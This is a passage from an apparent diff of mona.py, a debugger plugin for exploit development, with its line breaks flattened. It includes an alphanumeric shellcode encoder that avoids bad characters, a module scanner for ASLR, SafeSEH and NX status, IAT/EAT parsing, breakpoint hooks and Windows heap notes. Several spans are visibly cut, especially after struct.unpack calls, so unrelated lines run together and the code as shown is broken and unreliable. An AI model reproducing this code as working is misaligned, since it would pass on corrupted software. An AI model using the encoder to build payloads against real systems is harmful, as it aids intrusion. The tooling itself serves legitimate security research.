conflicts + nobadchars = "\x25\x2a\x2d\x31\x32\x35\x4a\x4d\x4e\x50\x55" + badbadchars = False + for b in badchars: + if b in nobadchars: + dbg.log("*** Error: byte \\x%s cannot be a bad char with this encoder" % bin2hex(b)) + badbadchars = True + + if badbadchars: + return {} + + # if all is well, explode the input to a multiple of 4 + while True: + moduloresult = len(self.bytestoencode) % 4 + if moduloresult == 0: + break + else: + self.bytestoencode += '\x90' + if not len(self.bytestoencode) == len(self.origbytestoencode): + if not silent: + dbg.log("[+] Added %d nops to make length of input a multiple of 4" % (len(self.bytestoencode) - len(self.origbytestoencode))) + + # break it down into chunks of 4 bytes + toencodearray = [] + toencodearray = [self.bytestoencode[max(i-4,0):i] for i in range(len(self.bytestoencode), 0, -4)][::-1] + blockcnt = 1 + encodedline = 0 + # we have to push the blocks in reverse order + blockcnt = len(toencodearray) + nrblocks = len(toencodearray) + while blockcnt > 0: + if not silent: + dbg.log("[+] Processing block %d/%d" % (blockcnt,nrblocks)) + encodedbytes[encodedline] = ["\x25\x4a\x4d\x4e\x55","AND EAX,0x554E4D4A"] + encodedline += 1 + encodedbytes[encodedline] = ["\x25\x35\x32\x31\x2A","AND EAX,0x2A313235"] + encodedline += 1 + + opcodes=[] + startpos=7 + source = "".join(bin2hex(a) for a in toencodearray[blockcnt-1]) + + origbytes=source[startpos-7]+source[startpos-6]+source[startpos-5]+source[startpos-4]+source[startpos-3]+source[startpos-2]+source[startpos-1]+source[startpos] + reversebytes=origbytes[6]+origbytes[7]+origbytes[4]+origbytes[5]+origbytes[2]+origbytes[3]+origbytes[0]+origbytes[1] + revval=hexStrToInt(reversebytes) + twoval=4294967296-revval + twobytes=toHex(twoval) + if not silent: + dbg.log("Opcode to produce : %s%s %s%s %s%s %s%s" % (origbytes[0],origbytes[1],origbytes[2],origbytes[3],origbytes[4],origbytes[5],origbytes[6],origbytes[7])) + dbg.log(" reversed : %s%s %s%s %s%s %s%s" % (reversebytes[0],reversebytes[1],reversebytes[2],reversebytes[3],reversebytes[4],reversebytes[5],reversebytes[6],reversebytes[7])) + dbg.log(" -----------") + dbg.log(" 2's complement : %s%s %s%s %s%s %s%s" % (twobytes[0],twobytes[1],twobytes[2],twobytes[3],twobytes[4],twobytes[5],twobytes[6],twobytes[7])) + + #for each byte, start with last one first + bcnt=3 + overflow=0 + while bcnt >= 0: + currbyte=twobytes[(bcnt*2)]+twobytes[(bcnt*2)+1] + currval=hexStrToInt(currbyte)-overflow + testval=currval/3 + + if testval < 32: + #put 1 in front of byte + currbyte="1"+currbyte + currval=hexStrToInt(currbyte)-overflow + overflow=1 + else: + overflow=0 + + val1=currval/3 + val2=currval/3 + val3=currval/3 + sumval=val1+val2+val3 + + if sumval < currval: + val3 = val3 + (currval-sumval) + + #validate / fix badchars + + fixvals=self.validatebadchars_enc(val1,val2,val3,badchars) + val1="%02x" % fixvals[0] + val2="%02x" % fixvals[1] + val3="%02x" % fixvals[2] + opcodes.append(val1) + opcodes.append(val2) + opcodes.append(val3) + bcnt=bcnt-1 + + # we should now have 12 bytes in opcodes + if not silent: + dbg.log(" -----------") + dbg.log(" %s %s %s %s" % (opcodes[9],opcodes[6],opcodes[3],opcodes[0])) + dbg.log(" %s %s %s %s" % (opcodes[10],opcodes[7],opcodes[4],opcodes[1])) + dbg.log(" %s %s %s %s" % (opcodes[11],opcodes[8],opcodes[5],opcodes[2])) + dbg.log("") + thisencodedbyte = "\x2D" + thisencodedbyte += hex2bin("\\x%s" % opcodes[0]) + thisencodedbyte += hex2bin("\\x%s" % opcodes[3]) + thisencodedbyte += hex2bin("\\x%s" % opcodes[6]) + thisencodedbyte += hex2bin("\\x%s" % opcodes[9]) + encodedbytes[encodedline] = [thisencodedbyte,"SUB EAX,0x%s%s%s%s" % (opcodes[9],opcodes[6],opcodes[3],opcodes[0])] + encodedline += 1 + + thisencodedbyte = "\x2D" + thisencodedbyte += hex2bin("\\x%s" % opcodes[1]) + thisencodedbyte += hex2bin("\\x%s" % opcodes[4]) + thisencodedbyte += hex2bin("\\x%s" % opcodes[7]) + thisencodedbyte += hex2bin("\\x%s" % opcodes[10]) + encodedbytes[encodedline] = [thisencodedbyte,"SUB EAX,0x%s%s%s%s" % (opcodes[10],opcodes[7],opcodes[4],opcodes[1])] + encodedline += 1 + + thisencodedbyte = "\x2D" + thisencodedbyte += hex2bin("\\x%s" % opcodes[2]) + thisencodedbyte += hex2bin("\\x%s" % opcodes[5]) + thisencodedbyte += hex2bin("\\x%s" % opcodes[8]) + thisencodedbyte += hex2bin("\\x%s" % opcodes[11]) + encodedbytes[encodedline] = [thisencodedbyte,"SUB EAX,0x%s%s%s%s" % (opcodes[11],opcodes[8],opcodes[5],opcodes[2])] + encodedline += 1 + + encodedbytes[encodedline] = ["\x50","PUSH EAX"] + encodedline += 1 + + blockcnt -= 1 + + + return encodedbytes + + + + def validatebadchars_enc(self,val1,val2,val3,badchars): + newvals=[] + allok=0 + giveup=0 + type=0 + origval1=val1 + origval2=val2 + origval3=val3 + d1=0 + d2=0 + d3=0 + lastd1=0 + lastd2=0 + lastd3=0 + while allok==0 and giveup==0: + #check if there are bad chars left + charcnt=0 + val1ok=1 + val2ok=1 + val3ok=1 + while charcnt < len(badchars): + if (hex2bin("%02x" % val1) in badchars): + val1ok=0 + if (hex2bin("%02x" % val2) in badchars): + val2ok=0 + if (hex2bin("%02x" % val3) in badchars): + val3ok=0 + charcnt=charcnt+1 + if (val1ok==0) or (val2ok==0) or (val3ok==0): + allok=0 + else: + allok=1 + if allok==0: + #try first by sub 1 from val1 and val2, and add more to val3 + if type==0: + val1=val1-1 + val2=val2-1 + val3=val3+2 + if (val1<1) or (val2==0) or (val3 > 126): + val1=origval1 + val2=origval2 + val3=origval3 + type=1 + if type==1: + #then try by add 1 to val1 and val2, and sub more from val3 + val1=val1+1 + val2=val2+1 + val3=val3-2 + if (val1>126) or (val2>126) or (val3 < 1): + val1=origval1 + val2=origval2 + val3=origval3 + type=2 + if type==2: + #try by sub 2 from val1, and add 1 to val2 and val3 + val1=val1-2 + val2=val2+1 + val3=val3+1 + if (val1<1) or (val2>126) or (val3 > 126): + val1=origval1 + val2=origval2 + val3=origval3 + type=3 + if type==3: + #try by add 2 to val1, and sub 1 from val2 and val3 + val1=val1+2 + val2=val2-1 + val3=val3-1 + if (val1 > 126) or (val2 < 1) or (val3 < 1): + val1=origval1 + val2=origval2 + val3=origval3 + type=4 + if type==4: + if (val1ok==0): + val1=val1-1 + d1=d1+1 + else: + #now spread delta over other 2 values + if (d1 > 0): + val2=val2+1 + val3=origval3+d1-1 + d1=d1-1 + else: + val1=0 + if (val1 < 1) or (val2 > 126) or (val3 > 126): + val1=origval1 + val2=origval2 + val3=origval3 + d1=0 + type=5 + if type==5: + if (val1ok==0): + val1=val1+1 + d1=d1+1 + else: + #now spread delta over other 2 values + if (d1 > 0): + val2=val2-1 + val3=origval3-d1+1 + d1=d1-1 + else: + val1=255 + if (val1>126) or (val2 < 1) or (val3 < 1): + val1=origval1 + val2=origval2 + val3=origval3 + val1ok=0 + val2ok=0 + val3ok=0 + d1=0 + d2=0 + d3=0 + type=6 + if type==6: + if (val1ok==0): + val1=val1-1 + #d1=d1+1 + if (val2ok==0): + val2=val2+1 + #d2=d2+1 + d3=origval1-val1+origval2-val2 + val3=origval3+d3 + if (lastd3==d3) and (d3 > 0): + val1=origval1 + val2=origval2 + val3=origval3 + giveup=1 + else: + lastd3=d3 + if (val1<1) or (val2 < 1) or (val3 > 126): + val1=origval1 + val2=origval2 + val3=origval3 + giveup=1 + #check results + charcnt=0 + val1ok=1 + val2ok=1 + val3ok=1 + val1text="OK" + val2text="OK" + val3text="OK" + while charcnt < len(badchars): + if (val1 == badchars[charcnt]): + val1ok=0 + val1text="NOK" + if (val2 == badchars[charcnt]): + val2ok=0 + val2text="NOK" + if (val3 == badchars[charcnt]): + val3ok=0 + val3text="NOK" + charcnt=charcnt+1 + + if (val1ok==0) or (val2ok==0) or (val3ok==0): + dbg.log(" ** Unable to fix bad char issue !",highlight=1) + dbg.log(" -> Values to check : %s(%s) %s(%s) %s(%s) " % (bin2hex(origval1),val1text,bin2hex(origval2),val2text,bin2hex(origval3),val3text),highlight=1) + val1=origval1 + val2=origval2 + val3=origval3 + newvals.append(val1) + newvals.append(val2) + newvals.append(val3) + return newvals + + +#---------------------------------------# +# Class to perform call tracing # +#---------------------------------------# + +class MnCallTraceHook(LogBpHook): + def __init__(self, callptr, showargs, instruction, logfile): + LogBpHook.__init__(self) + self.callptr = callptr + self.showargs = showargs + self.logfile = logfile + self.instruction = instruction + + def run(self,regs): + # get instruction at this address + thisaddress = regs["EIP"] + thisinstruction = self.instruction + allargs = [] + argstr = "" + if thisinstruction.startswith("CALL "): + if self.showargs > 0: + for cnt in xrange(self.showargs): + thisarg = 0 + try: + thisarg = struct.unpack(' -1: + textra += "%s = 0x%08x, " % (treg,regs[treg]) + if textra != "": + textra = textra.strip(" ") + textra = textra.strip(",") + textra = "(" + textra + ")" + FILE.write("0x%08x : %s %s\n" % (thisaddress, thisinstruction, textra)) + if self.showargs > 0: + cnt = 0 + while cnt < len(allargs): + content = "" + try: + bytecontent = dbg.readMemory(allargs[cnt],16) + content = bin2hex(bytecontent) + except: + content = "" + FILE.write(" Arg%d at 0x%08x : 0x%08x : %s\n" % (cnt,regs["ESP"]+(cnt*4),allargs[cnt],content)) + cnt += 1 + FILE.close() + except: + #dbg.log("OOPS", highlight=1) + pass + if thisinstruction.startswith("RETN"): + returnto = 0 + try: + returnto = struct.unpack(' -1: + # function name, try to resolve + functionaddress = dbg.getAddress(self.targetptr) + if functionaddress > 0: + dbg.log("Deferred Breakpoint set at %s (0x%08x)" % (self.targetptr,functionaddress),highlight=1) + dbg.setBreakpoint(functionaddress) + self.UnHook() + dbg.log("Hook removed") + dbg.run() + return + if self.targetptr.find("+") > -1: + ptrparts = self.targetptr.split("+") + modname = ptrparts[0] + if not modname.lower().endswith(".dll"): + modname += ".dll" + themodule = getModuleObj(modname) + if themodule != None and len(ptrparts) > 1: + address = themodule.getBase() + int(ptrparts[1],16) + if address > 0: + dbg.log("Deferred Breakpoint set at %s (0x%08x)" % (self.targetptr,address),highlight=1) + dbg.setBreakpoint(address) + self.UnHook() + dbg.log("Hook removed") + dbg.run() + return + if self.targetptr.find("+") == -1 and self.targetptr.find(".") == -1: + address = int(self.targetptr,16) + thispage = dbg.getMemoryPageByAddress(address) + if thispage != None: + dbg.setBreakpoint(address) + dbg.log("Deferred Breakpoint set at 0x%08x" % address, highlight=1) + self.UnHook() + dbg.log("Hook removed") + dbg.run() + +#---------------------------------------# +# Class to access config file # +#---------------------------------------# +class MnConfig: + """ + Class to perform config file operations + """ + def __init__(self): + + self.configfile = "mona.ini" + self.currpath = os.path.dirname(os.path.realpath(self.configfile)) + # first check if we will be saving the file into Immunity folder + if __DEBUGGERAPP__ == "Immunity Debugger": + if not os.path.exists(os.path.join(self.currpath,"immunitydebugger.exe")): + dbg.log(" ** Warning: using mona.ini file from %s" % self.currpath) + + def get(self,parameter): + """ + Retrieves the contents of a given parameter from the config file + or from memory if the config file has been read already + (configFileCache) + Arguments: + parameter - the name of the parameter + + Return: + A string, containing the contents of that parameter + """ + #read config file + #format : parameter=value + toreturn = "" + curparam=[] + global configFileCache + #first check if parameter already exists in global cache + if parameter.strip().lower() in configFileCache: + toreturn = configFileCache[parameter.strip().lower()] + #dbg.log("Found parameter %s in cache: %s" % (parameter, toreturn)) + else: + if os.path.exists(self.configfile): + try: + configfileobj = open(self.configfile,"rb") + content = configfileobj.readlines() + configfileobj.close() + for thisLine in content: + if not thisLine[0] == "#": + currparam = thisLine.split('=') + if currparam[0].strip().lower() == parameter.strip().lower() and len(currparam) > 1: + #get value + currvalue = "" + i=1 + while i < len(currparam): + currvalue = currvalue + currparam[i] + "=" + i += 1 + toreturn = currvalue.rstrip("=").replace('\n','').replace('\r','') + # drop into global cache for next time + configFileCache[parameter.strip().lower()] = toreturn + #dbg.log("Read parameter %s from file: %s" % (parameter, toreturn)) + except: + toreturn="" + + return toreturn + + def set(self,parameter,paramvalue): + """ + Sets/Overwrites the contents of a given parameter in the config file + + Arguments: + parameter - the name of the parameter + paramvalue - the new value of the parameter + + Return: + nothing + """ + global configFileCache + configFileCache[parameter.strip().lower()] = paramvalue + if os.path.exists(self.configfile): + #modify file + try: + configfileobj = open(self.configfile,"r") + content = configfileobj.readlines() + configfileobj.close() + newcontent = [] + paramfound = False + for thisLine in content: + thisLine = thisLine.replace('\n','').replace('\r','') + if not thisLine[0] == "#": + currparam = thisLine.split('=') + if currparam[0].strip().lower() == parameter.strip().lower(): + newcontent.append(parameter+"="+paramvalue+"\n") + paramfound = True + else: + newcontent.append(thisLine+"\n") + else: + newcontent.append(thisLine+"\n") + if not paramfound: + newcontent.append(parameter+"="+paramvalue+"\n") + #save new config file (rewrite) + dbg.log("[+] Saving config file, modified parameter %s" % parameter) + FILE=open(self.configfile,"w") + FILE.writelines(newcontent) + FILE.close() + dbg.log(" mona.ini saved under %s" % self.currpath) + except: + dbg.log("Error writing config file : %s : %s" % (sys.exc_type,sys.exc_value),highlight=1) + return "" + else: + #create new file + try: + dbg.log("[+] Creating config file, setting parameter %s" % parameter) + FILE=open(self.configfile,"w") + FILE.write("# -----------------------------------------------#\n") + FILE.write("# !mona.py configuration file #\n") + FILE.write("# Corelan Team - https://www.corelan.be #\n") + FILE.write("# -----------------------------------------------#\n") + FILE.write(parameter+"="+paramvalue+"\n") + FILE.close() + except: + dbg.log(" ** Error writing config file", highlight=1) + return "" + return "" + + +#---------------------------------------# +# Class to log entries to file # +#---------------------------------------# +class MnLog: + """ + Class to perform logfile operations + """ + def __init__(self, filename): + + self.filename = filename + + + def reset(self,clear=True,showheader=True): + """ + Optionally clears a log file, write a header to the log file and return filename + + Optional : + clear = Boolean. When set to false, the logfile won't be cleared. This method can be + used to retrieve the full path to the logfile name of the current MnLog class object + Logfiles are written to the debugger program folder, unless a config value 'workingfolder' is set. + + Return: + full path to the logfile name. + """ + global noheader + if clear: + if not silent: + dbg.log("[+] Preparing output file '" + self.filename +"'") + if not showheader: + noheader = True + debuggedname = dbg.getDebuggedName() + thispid = dbg.getDebuggedPid() + if thispid == 0: + debuggedname = "_no_name_" + thisconfig = MnConfig() + workingfolder = thisconfig.get("workingfolder").rstrip("\\").strip() + #strip extension from debuggedname + parts = debuggedname.split(".") + extlen = len(parts[len(parts)-1])+1 + debuggedname = debuggedname[0:len(debuggedname)-extlen] + debuggedname = debuggedname.replace(" ","_") + workingfolder = workingfolder.replace('%p', debuggedname) + workingfolder = workingfolder.replace('%i', str(thispid)) + logfile = workingfolder + "\\" + self.filename + #does working folder exist ? + if workingfolder != "": + if not os.path.exists(workingfolder): + try: + dbg.log(" - Creating working folder %s" % workingfolder) + #recursively create folders + os.makedirs(workingfolder) + dbg.log(" - Folder created") + except: + dbg.log(" ** Unable to create working folder %s, the debugger program folder will be used instead" % workingfolder,highlight=1) + logfile = self.filename + else: + logfile = self.filename + if clear: + if not silent: + dbg.log(" - (Re)setting logfile %s" % logfile) + try: + if os.path.exists(logfile): + try: + os.delete(logfile+".old") + except: + pass + try: + os.rename(logfile,logfile+".old") + except: + try: + os.rename(logfile,logfile+".old2") + except: + pass + except: + pass + #write header + if not noheader: + try: + with open(logfile,"w") as fh: + fh.write("=" * 80 + '\n') + thisversion,thisrevision = getVersionInfo(inspect.stack()[0][1]) + thisversion = thisversion.replace("'","") + fh.write(" Output generated by mona.py v"+thisversion+", rev "+thisrevision+" - " + __DEBUGGERAPP__ + "\n") + fh.write(" Corelan Team - https://www.corelan.be\n") + fh.write("=" * 80 + '\n') + osver=dbg.getOsVersion() + osrel=dbg.getOsRelease() + fh.write(" OS : " + osver + ", release " + osrel + "\n") + fh.write(" Process being debugged : " + debuggedname +" (pid " + str(thispid) + ")\n") + currmonaargs = " ".join(x for x in currentArgs) + fh.write(" Current mona arguments: %s\n" % currmonaargs) + fh.write("=" * 80 + '\n') + fh.write(" " + datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S") + "\n") + fh.write("=" * 80 + '\n') + except: + pass + else: + try: + with open(logfile,"w") as fh: + fh.write("") + except: + pass + #write module table + try: + if not ignoremodules: + showModuleTable(logfile) + except: + pass + return logfile + + def write(self,entry,logfile): + """ + Write an entry (can be multiline) to a given logfile + + Arguments: + entry - the data to write to the logfile + logfile - the full path to the logfile + + Return: + nothing + """ + towrite = "" + #check if entry is int + if type(entry) == int: + if entry > 0: + ptrx = MnPointer(entry) + modname = ptrx.belongsTo() + modinfo = MnModule(modname) + towrite = "0x" + toHex(entry) + " : " + ptrx.__str__() + " " + modinfo.__str__() + else: + towrite = entry + else: + towrite = entry + # if this fails, we got an unprintable character + try: + towrite = str(towrite) + except: + # one at a time + towrite2 = "" + for c in towrite: + try: + towrite2 += str(c) + except: + towrite2 += "\\x" + str(hex(ord(c))).replace("0x","") + towrite = towrite2 + try: + with open(logfile,"a") as fh: + if towrite.find('\n') > -1: + fh.writelines(towrite) + else: + fh.write(towrite+"\n") + except: + pass + return True + + +#---------------------------------------# +# Simple Queue class # +#---------------------------------------# +class MnQueue: + """ + Simple queue class + """ + def __init__(self): + self.holder = [] + + def enqueue(self,val): + self.holder.append(val) + + def dequeue(self): + val = None + try: + val = self.holder[0] + if len(self.holder) == 1: + self.holder = [] + else: + self.holder = self.holder[1:] + except: + pass + + return val + + def IsEmpty(self): + result = False + if len(self.holder) == 0: + result = True + return result + + +#---------------------------------------# +# Class to access module properties # +#---------------------------------------# + +class MnModule: + """ + Class to access module properties + """ + def __init__(self, modulename): + #dbg.log("MnModule(%s)" % modulename) + modisaslr = True + modissafeseh = True + modrebased = True + modisnx = True + modisos = True + self.IAT = {} + self.EAT = {} + path = "" + mzbase = 0 + mzsize = 0 + mztop = 0 + mcodebase = 0 + mcodesize = 0 + mcodetop = 0 + mentry = 0 + mversion = "" + self.internalname = modulename + if modulename != "": + # if info is cached, retrieve from cache + if ModInfoCached(modulename): + modisaslr = getModuleProperty(modulename,"aslr") + modissafeseh = getModuleProperty(modulename,"safeseh") + modrebased = getModuleProperty(modulename,"rebase") + modisnx = getModuleProperty(modulename,"nx") + modisos = getModuleProperty(modulename,"os") + path = getModuleProperty(modulename,"path") + mzbase = getModuleProperty(modulename,"base") + mzsize = getModuleProperty(modulename,"size") + mztop = getModuleProperty(modulename,"top") + mversion = getModuleProperty(modulename,"version") + mentry = getModuleProperty(modulename,"entry") + mcodebase = getModuleProperty(modulename,"codebase") + mcodesize = getModuleProperty(modulename,"codesize") + mcodetop = getModuleProperty(modulename,"codetop") + else: + #gather info manually - this code should only get called from populateModuleInfo() + self.moduleobj = dbg.getModule(modulename) + modissafeseh = True + modisaslr = True + modisnx = True + modrebased = False + modisos = False + #if self.moduleobj == None: + # dbg.log("*** Error - self.moduleobj is None, key %s" % modulename, highlight=1) + mod = self.moduleobj + mzbase = mod.getBaseAddress() + mzrebase = mod.getFixupbase() + mzsize = mod.getSize() + mversion = mod.getVersion() + mentry = mod.getEntry() + mcodebase = mod.getCodebase() + mcodesize = mod.getCodesize() + mcodetop = mcodebase + mcodesize + + mversion=mversion.replace(", ",".") + mversionfields=mversion.split('(') + mversion=mversionfields[0].replace(" ","") + + if mversion=="": + mversion="-1.0-" + path=mod.getPath() + if mod.getIssystemdll() == 0: + modisos = "WINDOWS" in path.upper() + else: + modisos = True + mztop = mzbase + mzsize + if mzbase > 0: + peoffset=struct.unpack('10: + sectionaddress,sectionsize=struct.unpack(' mzbase: + modrebased=True + else: + # should never be hit + #print "No module specified !!!" + #print "stacktrace : " + #print traceback.format_exc() + return None + + #check if module is excluded + thisconfig = MnConfig() + allexcluded = [] + excludedlist = thisconfig.get("excluded_modules") + modfound = False + if excludedlist: + allexcluded = excludedlist.split(',') + for exclentry in allexcluded: + if exclentry.lower().strip() == modulename.lower().strip(): + modfound = True + self.isExcluded = modfound + + #done - populate variables + self.isAslr = modisaslr + + self.isSafeSEH = modissafeseh + + self.isRebase = modrebased + + self.isNX = modisnx + + self.isOS = modisos + + self.moduleKey = modulename + + self.modulePath = path + + self.moduleBase = mzbase + + self.moduleSize = mzsize + + self.moduleTop = mztop + + self.moduleVersion = mversion + + self.moduleEntry = mentry + + self.moduleCodesize = mcodesize + + self.moduleCodetop = mcodetop + + self.moduleCodebase = mcodebase + + + + def __str__(self): + #return general info about the module + #modulename + info + """ + Get information about a module (human readable format) + + Arguments: + None + + Return: + String with various properties about a module + """ + outstring = "" + if self.moduleKey != "": + outstring = "[" + self.moduleKey + "] ASLR: " + str(self.isAslr) + ", Rebase: " + str(self.isRebase) + ", SafeSEH: " + str(self.isSafeSEH) + ", OS: " + str(self.isOS) + ", v" + self.moduleVersion + " (" + self.modulePath + ")" + else: + outstring = "[None]" + return outstring + + def isAslr(self): + return self.isAslr + + def isSafeSEH(self): + return self.isSafeSEH + + def isRebase(self): + return self.isRebase + + def isOS(self): + return self.isOS + + def isNX(self): + return self.isNX + + def moduleKey(self): + return self.moduleKey + + def modulePath(self): + return self.modulePath + + def moduleBase(self): + return self.moduleBase + + def moduleSize(self): + return self.moduleSize + + def moduleTop(self): + return self.moduleTop + + def moduleEntry(self): + return self.moduleEntry + + def moduleCodebase(self): + return self.moduleCodebase + + def moduleCodesize(self): + return self.moduleCodesize + + def moduleCodetop(self): + return self.moduleCodetop + + def moduleVersion(self): + return self.moduleVersion + + def isExcluded(self): + return self.isExcluded + + def getFunctionCalls(self,criteria={}): + funccalls = {} + sequences = [] + sequences.append(["call","\xff\x15"]) + funccalls = searchInRange(sequences, self.moduleBase, self.moduleTop,criteria) + return funccalls + + def getIAT(self): + IAT = {} + try: + if len(self.IAT) == 0: + themod = dbg.getModule(self.moduleKey) + syms = themod.getSymbols() + thename = "" + for sym in syms: + if syms[sym].getType().startswith("Import"): + thename = syms[sym].getName() + theaddress = syms[sym].getAddress() + if not theaddress in IAT: + IAT[theaddress] = thename + + # merge + + # find optional header + PEHeader_ref = self.moduleBase + 0x3c + PEHeader_location = self.moduleBase + struct.unpack(' 0: + # get address of DataDirectory + DataDirectory_location = OptionalHeader_location + 0x60 + # get size of Import Table + importtable_size = struct.unpack(' 0: + ptr = iatEntry + ptrx = MnPointer(iatEntry) + modname = ptrx.belongsTo() + tmod = MnModule(modname) + thisfunc = dbglib.Function(dbg,ptr) + thisfuncfullname = thisfunc.getName().lower() + if thisfuncfullname.endswith(".unknown") or thisfuncfullname.endswith(".%08x" % ptr): + if not tmod is None: + imagename = tmod.getShortName() + eatlist = tmod.getEAT() + if iatEntry in eatlist: + thisfuncfullname = "." + imagename + "!" + eatlist[iatEntry] + thisfuncname = thisfuncfullname.split('.') + IAT[thisloc] = thisfuncname[1].strip(">") + else: + IAT[thisloc] = imagename + "!0x%08x" % iatEntry + else: + IAT[thisloc] = thisfuncfullname.replace(".","!") + iatcnt += 1 + + if len(IAT) == 0: + #search method nr 2, not accurate, but will find *something* + funccalls = self.getFunctionCalls() + for functype in funccalls: + for fptr in funccalls[functype]: + ptr=struct.unpack('= self.moduleBase and ptr <= self.moduleTop: + if not ptr in IAT: + thisfunc = dbglib.Function(dbg,ptr) + thisfuncfullname = thisfunc.getName().lower() + thisfuncname = [] + if thisfuncfullname.endswith(".unknown") or thisfuncfullname.endswith(".%08x" % ptr): + iatptr = struct.unpack('") + + self.IAT = IAT + else: + IAT = self.IAT + except: + import traceback + dbg.logLines(traceback.format_exc()) + return IAT + return IAT + + + def getEAT(self): + eatlist = {} + if len(self.EAT) == 0: + try: + # avoid major suckage, let's do it ourselves + # find optional header + PEHeader_ref = self.moduleBase + 0x3c + PEHeader_location = self.moduleBase + struct.unpack(' 0: + # get address of DataDirectory + DataDirectory_location = OptionalHeader_location + 0x60 + # get size of Export Table + exporttable_size = struct.unpack(' 0: + # get start of export table + eatAddr = self.moduleBase + exporttable_rva + nr_of_names = struct.unpack(' 0: + allvalues.append(defvalue) + # sort list descending + allvalues.sort(reverse=True) + flagvalues = [] + remaining = flag + for flagvalue in allvalues: + if flagvalue <= remaining: + remaining -= flagvalue + if remaining >= 0: + flagvalues.append(flagvalue) + return flagvalues + +def getNtGlobalFlagNames(flag): + names = [] + allvalues = getNtGlobalFlagDefinitions() + currentvalues = getNtGlobalFlagValues(flag) + for defvalue in currentvalues: + if defvalue > 0: + names.append(allvalues[defvalue][0]) + return names + +def getNtGlobalFlagValueData(flagvalue): + toreturn = ["",""] + if flagvalue in getNtGlobalFlagDefinitions(): + toreturn = getNtGlobalFlagDefinitions()[flagvalue] + return toreturn + + +def getActiveFlagNames(flagvalue): + currentflags = getNtGlobalFlagValues(flagvalue) + flagdefs = getNtGlobalFlagDefinitions() + flagnames = [] + if len(currentflags) == 0: + currentflags = [0] + for flag in currentflags: + if flag in flagdefs: + flagdata = flagdefs[flag] + flagnames.append(flagdata[0]) + return ",".join(flagnames) + + +def getNtGlobalFlagValueName(flagvalue): + data = getNtGlobalFlagValueData(flagvalue) + toreturn = "" + if data[0] != "": + toreturn += "+" + data[0] + else: + toreturn += " " + toreturn += " - " + toreturn += data[1] + return toreturn + + +#---------------------------------------# +# Class for heap structures # +#---------------------------------------# +class MnHeap: + """ + Class for heap structures + """ + heapbase = 0 + EncodeFlagMask = 0 + Encoding = 0 + + # _HEAP + # Windows XP + # ---------- + # +0x000 Entry : _HEAP_ENTRY + # +0x008 Signature : Uint4B + # +0x00c Flags : Uint4B + # +0x010 ForceFlags : Uint4B + # +0x014 VirtualMemoryThreshold : Uint4B + # +0x018 SegmentReserve : Uint4B + # +0x01c SegmentCommit : Uint4B + # +0x020 DeCommitFreeBlockThreshold : Uint4B + # +0x024 DeCommitTotalFreeThreshold : Uint4B + # +0x028 TotalFreeSize : Uint4B + # +0x02c MaximumAllocationSize : Uint4B + # +0x030 ProcessHeapsListIndex : Uint2B + # +0x032 HeaderValidateLength : Uint2B + # +0x034 HeaderValidateCopy : Ptr32 Void + # +0x038 NextAvailableTagIndex : Uint2B + # +0x03a MaximumTagIndex : Uint2B + # +0x03c TagEntries : Ptr32 _HEAP_TAG_ENTRY + # +0x040 UCRSegments : Ptr32 _HEAP_UCR_SEGMENT + # +0x044 UnusedUnCommittedRanges : Ptr32 _HEAP_UNCOMMMTTED_RANGE + # +0x048 AlignRound : Uint4B + # +0x04c AlignMask : Uint4B + # +0x050 VirtualAllocdBlocks : _LIST_ENTRY + # +0x058 Segments : [64] Ptr32 _HEAP_SEGMENT + # +0x158 u : __unnamed + # +0x168 u2 : __unnamed + # +0x16a AllocatorBackTraceIndex : Uint2B + # +0x16c NonDedicatedListLength : Uint4B + # +0x170 LargeBlocksIndex : Ptr32 Void + # +0x174 PseudoTagEntries : Ptr32 _HEAP_PSEUDO_TAG_ENTRY + # +0x178 FreeLists : [128] _LIST_ENTRY + # +0x578 LockVariable : Ptr32 _HEAP_LOCK + # +0x57c CommitRoutine : Ptr32 long + # +0x580 FrontEndHeap : Ptr32 Void + # +0x584 FrontHeapLockCount : Uint2B + # +0x586 FrontEndHeapType : UChar + # +0x587 LastSegmentIndex : UChar + + # Windows 7 + # --------- + # +0x000 Entry : _HEAP_ENTRY + # +0x008 SegmentSignature : Uint4B + # +0x00c SegmentFlags : Uint4B + # +0x010 SegmentListEntry : _LIST_ENTRY + # +0x018 Heap : Ptr32 _HEAP + # +0x01c BaseAddress : Ptr32 Void + # +0x020 NumberOfPages : Uint4B + # +0x024 FirstEntry : Ptr32 _HEAP_ENTRY + # +0x028 LastValidEntry : Ptr32 _HEAP_ENTRY + # +0x02c NumberOfUnCommittedPages : Uint4B + # +0x030 NumberOfUnCommittedRanges : Uint4B + # +0x034 SegmentAllocatorBackTraceIndex : Uint2B + # +0x036 Reserved : Uint2B + # +0x038 UCRSegmentList : _LIST_ENTRY + # +0x040 Flags : Uint4B + # +0x044 ForceFlags : Uint4B + # +0x048 CompatibilityFlags : Uint4B + # +0x04c EncodeFlagMask : Uint4B + # +0x050 Encoding : _HEAP_ENTRY + # +0x058 PointerKey : Uint4B + # +0x05c Interceptor : Uint4B + # +0x060 VirtualMemoryThreshold : Uint4B + # +0x064 Signature : Uint4B + # +0x068 SegmentReserve : Uint4B + # +0x06c SegmentCommit : Uint4B + # +0x070 DeCommitFreeBlockThreshold : Uint4B + # +0x074 DeCommitTotalFreeThreshold : Uint4B + # +0x078 TotalFreeSize : Uint4B + # +0x07c MaximumAllocationSize : Uint4B + # +0x080 ProcessHeapsListIndex : Uint2B + # +0x082 HeaderValidateLength : Uint2B + # +0x084 HeaderValidateCopy : Ptr32 Void + # +0x088 NextAvailableTagIndex : Uint2B + # +0x08a MaximumTagIndex : Uint2B + # +0x08c TagEntries : Ptr32 _HEAP_TAG_ENTRY + # +0x090 UCRList : _LIST_ENTRY + # +0x098 AlignRound : Uint4B + # +0x09c AlignMask : Uint4B + # +0x0a0 VirtualAllocdBlocks : _LIST_ENTRY + # +0x0a8 SegmentList : _LIST_ENTRY + # +0x0b0 AllocatorBackTraceIndex : Uint2B + # +0x0b4 NonDedicatedListLength : Uint4B + # +0x0b8 BlocksIndex : Ptr32 Void + # +0x0bc UCRIndex : Ptr32 Void + # +0x0c0 PseudoTagEntries : Ptr32 _HEAP_PSEUDO_TAG_ENTRY + # +0x0c4 FreeLists : _LIST_ENTRY + # +0x0cc LockVariable : Ptr32 _HEAP_LOCK + # +0x0d0 CommitRoutine : Ptr32 long + # +0x0d4 FrontEndHeap : Ptr32 Void + # +0x0d8 FrontHeapLockCount : Uint2B + # +0x0da FrontEndHeapType : UChar + # +0x0dc Counters : _HEAP_COUNTERS + # +0x130 TuningParameters : _HEAP_TUNING_PARAMETERS + + def __init__(self,address): + 